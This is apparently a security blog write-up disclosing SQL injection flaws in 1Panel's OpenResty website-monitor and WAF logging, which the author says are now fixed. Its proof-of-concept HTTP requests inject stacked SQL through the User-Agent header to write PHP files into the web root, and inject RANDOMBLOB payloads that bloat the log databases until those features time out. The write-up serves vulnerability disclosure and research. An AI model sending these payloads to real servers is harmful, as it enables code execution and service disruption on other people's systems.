0x00 1Panel 架构
1Panel 大致架构如下,面板本身是运行在宿主机上的,搭建的网站运行的其他服务等都是在docker内
请求日志,访问日志是在1panel/openresty
容器里面的各种.db文件里面存储着,通过lua文件写入的, waf功能以及网站监控功能也是在1panel/openresty
容器内实现并存储的,然后面板去读取展示
复现视频 https://www.bilibili.com/video/BV1tt8ue6EmU/
漏洞在6月初发现,反馈给1p官方后,六月中修复,7月中漏洞公开
0x1 测试版本
专业版 v1.10.10-lts
社区版 v1.10.10-lts
1panel/openresty:1.21.4.3-3-1-focal
0x2 影响范围
网站监控功能影响 == 1panel/openresty:1.21.4.3-3-1-focal
WAF功能影响 <= 1panel/openresty:1.21.4.3-3-1-focal
0x3 网站监控功能
利用条件:
- 专业版,并开启网站监控功能
- 关闭waf功能
- 安装有1P-openresty容器且搭建有php环境网站
3.1 发现注入
这里会记录请求日志
他记录的字段有 re ua头等
在记录的字段上加上单引号会发现没有成功记录日志,猜测这里存在一个inser的sql注入
进一步验证因为数据库是sqlite,我们尝试一下字符串拼功能最后记录是啥样子的,发送数据包
User-Agent: Mozilla/5.0'||"blog.mo60.cn"||'b
发现字符串被拼接了,确定了这里存在一个insert的注入
3.2 文件定位
这个功能的数据库在
/usr/local/openresty/1pwaf/data/db/sites/网站编号/site_req_logs.db
或者在宿主机的
/opt/1panel/apps/openresty/openresty/1pwaf/data/db/sites/网站代号
写入数据库语句的脚本在
/usr/local/openresty/1pwaf/lib/monitor_log.lua
执行的sql语句如下
INSERT INTO site_req_logs (
server_name, host,ip, ip_iso, ip_country_zh,
ip_country_en, ip_province_zh, ip_province_en,
uri, user_agent, method, status_code, referer,
spider, request_time, localtime, time, request_uri,
flow, day, hour, uv_id, referer_domain,
os,browser,device,pv_tag,uv_tag
) VALUES (
'%s', '%s', '%s', '%s', '%s',
'%s', '%s', '%s',
'%s', '%s', '%s', %d, '%s',
'%s', %d, DATETIME('now'), %f, '%s',
%d, '%s', '%s', '%s', '%s',
'%s', '%s', '%s','%s','%s'
)
我们可控的位置在user_agent头也就是
VALUES (
'%s', '%s', '%s', '%s', '%s',
'%s', '%s', '%s',
'可控点', '%s', '%s', %d, '%s',
'%s', %d, DATETIME('now'), %f, '%s',
%d, '%s', '%s', '%s', '%s',
'%s', '%s', '%s','%s','%s'
)
3.3 Getshell
这里我们先测试一下存不存在堆叠注入,先闭合前面的然后在构造插入新语句的poc
GET / HTTP/1.1
Host: 192.168.99.6
User-Agent: ua', 'blog.mo60.cn', 5201314, '', '', 1, '2024-06-09 08:16:52', 1817921010.847, '/AAAAAAA', 52014, '2025-06-09', '16', '', '', 'Linux', 'edge', 'pc', '', '');INSERT INTO "main"."site_req_logs" ("id", "server_name", "host", "ip", "ip_iso", "ip_country_zh", "ip_country_en", "ip_province_zh", "ip_province_en", "ip_longitude", "ip_latitude", "uri", "user_agent", "method", "status_code", "referer", "spider", "request_time", "localtime", "time", "request_uri", "flow", "day", "hour", "uv_id", "referer_domain", "os", "browser", "device", "pv_tag", "uv_tag")VALUES (18, '192.168.99.6', '192.168.99.6', '192.168.99.2', 'Local', 'blog.mo60.cn', 'Intranet', '', '', NULL, NULL, '/blog.mo60.cn', 'blog.mo60.cn', 'blog.mo60.cn', 114514, '', '', 1, '2024-06-09 08:16:52', 1717921010.847, '/aa', 552, '2024-06-09', '16', '', '', 'windows', 'edge', 'pc', '', '');#
Connection: close
可以看到插入了我们的语句
那么我们的思路是通过堆叠注入写出文件,到网站目录下,因为网站大部分是支持php的,默认网站路径格式如下
/www/sites/网站代号(默认为域名)/index/
然后构造poc写入文件
ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?php phpinfo();?>');#
然后发送数据包
然后进入容器查看一下,发现文件写入成功
访问成功执行
测试poc
GET / HTTP/1.1
Host: 192.168.99.6
User-Agent: ua', 'blog.mo60.cn', 5201314, '', '', 1, '2024-06-09 08:16:52', 1817921010.847, '/AAAAAAA', 52014, '2025-06-09', '16', '', '', 'Linux', 'edge', 'pc', '', '');ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?= md5("blog.mo60.cn"); ?>');#
发送后如果写入文件并输出C930b955726e241e6a7aa1e4184b54e7f
就是存在
这个利用方式在开启waf的情况下无法利用,大致示意图
3.4 功能DDOS
这里是利用到RANDOMBLOB 是SQLite数据库中的一个函数,它的主要用途是生成一个指定长度的包含随机字节的二进制大对象(BLOB)。
,然后传入一个RANDOMBLOB(39990000)
GET / HTTP/1.1
Host: 192.168.99.6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.0'||RANDOMBLOB(39990000)||'blog.mo60.cn
Connection: close
发送后来到请求日志查看,直接响应超时功能全部用不了
http://192.168.99.6:13515/xpack/monitor/log
上面的操作导致数据库文件特别大因为生成了太大字节的内容
0x4 WAF功能
利用条件:
- 开启waf功能
- 安装有1P-openresty容器且搭建有php环境网站
4.1发现注入
先来一条会触发waf的规则
可以看到在waf拦截记录里面记录了
http://URL/xpack/waf/websites
可以看到记录的字段跟上面也差不多
直接测试有没有注入
User-Agent: Mozilla/5.0'||"blog.mo60.cn"||'b
可以看到最近得到的是拼接后的结果,这里存在注入
4.2文件定位
进入op的到容器里面
docker exec -it 8fbeeb7b4dbc /bin/bash
数据库的路径位于,是SQLite数据库
/usr/local/openresty/1pwaf/data/db/
里面有两个数据库文件,1pwaf.db
跟 req_log.db
,一个是记录的waf的开关情况配置等,另外一个是我们需要的请求日志,我们的拦截日志就在这个库里面记录着
然后把db文件拷贝到宿主机上分析一下,后面发现就在1panel的文件路径里面就有不需要特意进入到容器/opt/1panel/
docker cp 8fbeeb7b4dbc:/usr/local/openresty/1pwaf/data/db/req_log.db .
可以看到我们的拦截记录就在这里面
然后通过搜索找到的插入语句在
/usr/local/openresty/1pwaf/lib/attack_log.lua
打开可以看到执行的sql语句
INSERT INTO req_logs (
id, ip, ip_iso, ip_country_zh, ip_country_en,
ip_province_zh, ip_province_en, ip_longitude, ip_latitude, localtime,
time,server_name, website_key, host, method,
uri, user_agent, exec_rule, rule_type, match_rule, match_value,
nginx_log, blocking_time, action, is_block, is_attack
) VALUES (
'%s', '%s', '%s', '%s', '%s',
'%s', '%s', %d, %d, DATETIME('now'),
%f, '%s', '%s', '%s', '%s',
'%s', '%s', '%s', '%s', '%s', '%s',
'%s', %d, '%s', %d, %d
)
我们的可控点在第二个插入参数的位置
VALUES (
'%s', '%s', '%s', '%s', '%s',
'%s', '%s', %d, %d, DATETIME('now'),
%f, '%s', '%s', '%s', '%s',
'%s', '可控点', '%s', '%s', '%s', '%s',
'%s', %d, '%s', %d, %d
)
4.3 Getshell
先构造好poc
ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?= md5("blog.mo60.cn"); ?>');#
然后这里利用ua头位置注入来写入文件
GET /.git/config HTTP/1.1
Host: 192.168.99.6
User-Agent: blog.mo60.cn',"args", "sqlInjectA", "", "YmxvZy5tbzYwLmNu", "blog.mo60.cn", 0, "deny", 0, 1);ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?= md5("blog.mo60.cn"); ?>');#
Connection: close
访问成功执行
这里利用只要开启waf功能即可
4.4 功能DDOS
还是利用生成一大堆数据,然后让这个接口响应超时
GET /.git/config HTTP/1.1
Host: 192.168.99.6
User-Agent: blog.mo60.cn'||RANDOMBLOB(79990000)||'blog.mo60.cn
Connection: close
然后来到拦截日志,开始转圈圈
然后过一会提示请求错误
6 comments
tql
大佬nb,学习到了